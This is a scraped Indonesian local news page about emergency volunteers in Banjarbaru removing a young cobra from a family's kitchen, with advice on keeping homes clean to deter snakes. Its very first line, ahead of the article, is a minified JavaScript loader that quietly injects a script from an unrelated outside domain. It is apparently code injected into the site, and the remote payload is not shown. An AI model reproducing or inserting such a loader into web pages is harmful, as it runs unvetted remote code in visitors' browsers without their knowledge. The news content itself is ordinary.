(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Relawan emergency tak hanya menangani masalah kebakaran maupun kecelakaan, kerap kali menangani diminta melakukan evakuasi hewan yang membahayakan.
Seperti yang dilakukan Emergency Guntung Manggis (GTM) Fire&Rescue, salah satu unit yang menangani terkait penangkapan hewan liar yang membuat panik masyarakat.
Kamis (4/8/2022) malam, Emergency GTM Fire&Rescue mengevakuasi anak ular kobra yang berada di dapur rumah warga di Jalan Golf Wengga, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru.
Emergency GTM Fire&Rescue, Habibie mengatakan, evakuasi ular jenis kobra dengan panjang kurang lebih 1 meter di salah satu rumah warga.
“Kita evakuasi ular anak kobra. Panjangnya kurang lebih 1 meter kurang, di dalam rumah warga, tepatnya di dalam dapur dekat lemari,” ujarnya kepada Kanalkalimantan.com
Habibie menyebutkan evakuasi Kamis (4/8/2022) malam, pihaknya mendapat panggilan dari warga untuk melakukan evakuasi ular di rumah.
“Ular liar yang naik ke rumah warga,” sebut pria dengan nomor register 06 di GTM Fire&Rescue.
Habibie menambahkan, dalam sebulan Emergency GTM Fire&Rescue mengevakuasi 2 hingga 3 hewan melata tiap bulannya.
“Alhamdulillah, sudah lumayan banyak, dalam sebulan ini 2 hingga 3 kali mengevakuasi ular, pernah paling panjang 5 meteran, binatang lain kami juga bisa tinggal hubungi saja,” tambahnya.
Salah satunya lingkungan rumah atau tempat tinggal yang tidak bersih dan banyak dihuni tikus. Diketahui, tikus adalah salah satu makanan ular.
“Kota Banjarbaru ini kan berkembang, sudah banyak pembangunan, jadi otomatis tempat ular itu kan terganggu dan ular mencari tempat baru. Nah, di satu sisi, banyak tempat tinggal yang tidak diperhatikan kebersihannya, kemudian dihuni tikus yang jadi mangsa ular, sehingga mengundang ular datang,” bebernya.
“Ditambah cuaca yang belakangan sering hujan, dampak hujan dan banjir itu kan membuat tempat tinggal ular terganggu juga, kemudian mencari tempat baru, jadi ini sebab sekarang banyak ditemui ular di sekitar rumah dan tempat tinggal,” tambahnya.
Habibie mengimbau masyarakat agar terus menjaga kebersihan lingkungannya. Sebab, cuaca yang sering hujan membuat ular datang ke daerah permukiman warga.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
This website uses cookies.